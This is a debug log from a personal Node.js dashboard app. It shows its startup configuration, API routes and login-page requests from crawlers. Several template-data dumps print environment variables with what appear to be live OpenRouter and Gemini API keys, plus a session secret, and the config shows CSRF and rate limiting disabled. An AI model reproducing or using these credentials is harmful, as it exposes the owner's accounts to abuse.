2026-06-05T02:58:27.277Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T02:58:27.278Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T02:58:27.278Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T02:58:27.278Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T02:58:27.278Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T02:58:27.345Z server-connect:router Serving templateView /
2026-06-05T02:58:27.349Z server-connect:app Executing action step identify
2026-06-05T02:58:27.349Z server-connect:app options: { provider: 'security' }
2026-06-05T02:58:27.351Z server-connect:auth No login cookie found
2026-06-05T02:58:27.351Z server-connect:output identity: false
2026-06-05T02:58:27.351Z server-connect:app Executing action step restrict
2026-06-05T02:58:27.351Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T02:58:27.355Z server-connect:output restrict: undefined
2026-06-05T03:24:48.421Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T03:24:48.593Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T03:24:48.665Z server-connect:setup:upload Upload middleware configured.
2026-06-05T03:24:48.666Z server-connect:secure CSRF Protection initialized
2026-06-05T03:24:48.668Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T03:24:48.669Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T03:24:48.670Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T03:24:48.676Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T03:24:48.677Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T03:24:48.677Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T03:24:48.678Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T03:24:48.679Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T03:24:48.682Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T03:24:48.682Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T03:24:48.682Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T03:24:48.683Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T03:24:48.683Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T03:24:48.683Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T03:24:48.684Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T03:24:48.684Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T03:24:48.684Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T03:24:48.685Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T03:24:48.685Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T03:24:48.685Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T03:24:48.686Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T03:24:48.686Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T03:24:48.686Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T03:24:48.686Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T03:24:48.687Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T03:24:48.687Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T03:24:48.687Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T03:24:48.687Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T03:24:48.688Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T03:24:48.688Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T03:24:48.688Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T03:24:48.688Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T03:24:48.688Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T03:24:48.688Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T03:24:48.689Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T03:24:48.689Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T03:24:48.689Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T03:24:48.689Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T03:24:48.926Z server-connect:router Serving templateView /
2026-06-05T03:24:48.928Z server-connect:app Executing action step identify
2026-06-05T03:24:48.928Z server-connect:app options: { provider: 'security' }
2026-06-05T03:24:48.930Z server-connect:auth No login cookie found
2026-06-05T03:24:48.930Z server-connect:output identity: false
2026-06-05T03:24:48.930Z server-connect:app Executing action step restrict
2026-06-05T03:24:48.930Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T03:24:48.931Z server-connect:output restrict: undefined
2026-06-05T03:24:49.045Z server-connect:router Serving templateView /login
2026-06-05T03:24:49.045Z server-connect:app Executing action step identify
2026-06-05T03:24:49.046Z server-connect:app options: { provider: 'security' }
2026-06-05T03:24:49.046Z server-connect:auth No login cookie found
2026-06-05T03:24:49.046Z server-connect:output identity: false
2026-06-05T03:24:49.046Z server-connect:router Render template layouts/authentication
2026-06-05T03:24:49.047Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    accept: '*/*',
    'user-agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)',
    'accept-encoding': 'gzip,br',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '216.73.216.249',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T03:24:49.044Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '216.73.216.249',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: '*/*',
    HTTP_USER_AGENT: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '216.73.216.249',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T03:30:51.189Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T03:30:51.345Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T03:30:51.424Z server-connect:setup:upload Upload middleware configured.
2026-06-05T03:30:51.424Z server-connect:secure CSRF Protection initialized
2026-06-05T03:30:51.426Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T03:30:51.428Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T03:30:51.428Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T03:30:51.429Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T03:30:51.429Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T03:30:51.430Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T03:30:51.431Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T03:30:51.431Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T03:30:51.434Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T03:30:51.434Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T03:30:51.435Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T03:30:51.435Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T03:30:51.435Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T03:30:51.436Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T03:30:51.436Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T03:30:51.436Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T03:30:51.436Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T03:30:51.437Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T03:30:51.437Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T03:30:51.437Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T03:30:51.437Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T03:30:51.438Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T03:30:51.438Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T03:30:51.438Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T03:30:51.438Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T03:30:51.439Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T03:30:51.439Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T03:30:51.439Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T03:30:51.439Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T03:30:51.440Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T03:30:51.440Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T03:30:51.440Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T03:30:51.440Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T03:30:51.440Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T03:30:51.440Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T03:30:51.441Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T03:30:51.441Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T03:30:51.476Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T03:30:52.008Z server-connect:router Serving templateView /
2026-06-05T03:30:52.010Z server-connect:app Executing action step identify
2026-06-05T03:30:52.010Z server-connect:app options: { provider: 'security' }
2026-06-05T03:30:52.012Z server-connect:auth No login cookie found
2026-06-05T03:30:52.012Z server-connect:output identity: false
2026-06-05T03:30:52.012Z server-connect:app Executing action step restrict
2026-06-05T03:30:52.012Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T03:30:52.013Z server-connect:output restrict: undefined
2026-06-05T03:30:52.136Z server-connect:router Serving templateView /login
2026-06-05T03:30:52.137Z server-connect:app Executing action step identify
2026-06-05T03:30:52.137Z server-connect:app options: { provider: 'security' }
2026-06-05T03:30:52.137Z server-connect:auth No login cookie found
2026-06-05T03:30:52.137Z server-connect:output identity: false
2026-06-05T03:30:52.137Z server-connect:router Render template layouts/authentication
2026-06-05T03:30:52.138Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: '*/*',
    'user-agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)',
    'accept-encoding': 'gzip,br',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '216.73.216.249',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T03:30:52.135Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '216.73.216.249',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: '*/*',
    HTTP_USER_AGENT: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '216.73.216.249',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T04:25:27.627Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T04:25:27.803Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T04:25:27.884Z server-connect:setup:upload Upload middleware configured.
2026-06-05T04:25:27.885Z server-connect:secure CSRF Protection initialized
2026-06-05T04:25:27.886Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T04:25:27.888Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T04:25:27.889Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T04:25:27.889Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T04:25:27.890Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T04:25:27.890Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T04:25:27.891Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T04:25:27.892Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T04:25:27.895Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T04:25:27.895Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T04:25:27.895Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T04:25:27.896Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T04:25:27.896Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T04:25:27.896Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T04:25:27.897Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T04:25:27.897Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T04:25:27.897Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T04:25:27.898Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T04:25:27.898Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T04:25:27.898Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T04:25:27.899Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T04:25:27.899Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T04:25:27.899Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T04:25:27.899Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T04:25:27.900Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T04:25:27.900Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T04:25:27.900Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T04:25:27.900Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T04:25:27.901Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T04:25:27.901Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T04:25:27.901Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T04:25:27.901Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T04:25:27.902Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T04:25:27.902Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T04:25:27.902Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T04:25:27.902Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T04:25:27.902Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T04:25:27.903Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T04:25:28.007Z server-connect:router Serving templateView /
2026-06-05T04:25:28.012Z server-connect:app Executing action step identify
2026-06-05T04:25:28.012Z server-connect:app options: { provider: 'security' }
2026-06-05T04:25:28.013Z server-connect:auth No login cookie found
2026-06-05T04:25:28.014Z server-connect:output identity: false
2026-06-05T04:25:28.014Z server-connect:app Executing action step restrict
2026-06-05T04:25:28.014Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T04:25:28.017Z server-connect:output restrict: undefined
2026-06-05T04:25:28.485Z server-connect:router Serving templateView /login
2026-06-05T04:25:28.485Z server-connect:app Executing action step identify
2026-06-05T04:25:28.485Z server-connect:app options: { provider: 'security' }
2026-06-05T04:25:28.485Z server-connect:auth No login cookie found
2026-06-05T04:25:28.485Z server-connect:output identity: false
2026-06-05T04:25:28.485Z server-connect:router Render template layouts/authentication
2026-06-05T04:25:28.486Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '95.111.247.129',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T04:25:28.483Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '95.111.247.129',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '95.111.247.129',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T04:54:37.979Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T04:54:38.145Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T04:54:38.230Z server-connect:setup:upload Upload middleware configured.
2026-06-05T04:54:38.230Z server-connect:secure CSRF Protection initialized
2026-06-05T04:54:38.232Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T04:54:38.233Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T04:54:38.234Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T04:54:38.234Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T04:54:38.235Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T04:54:38.236Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T04:54:38.237Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T04:54:38.239Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
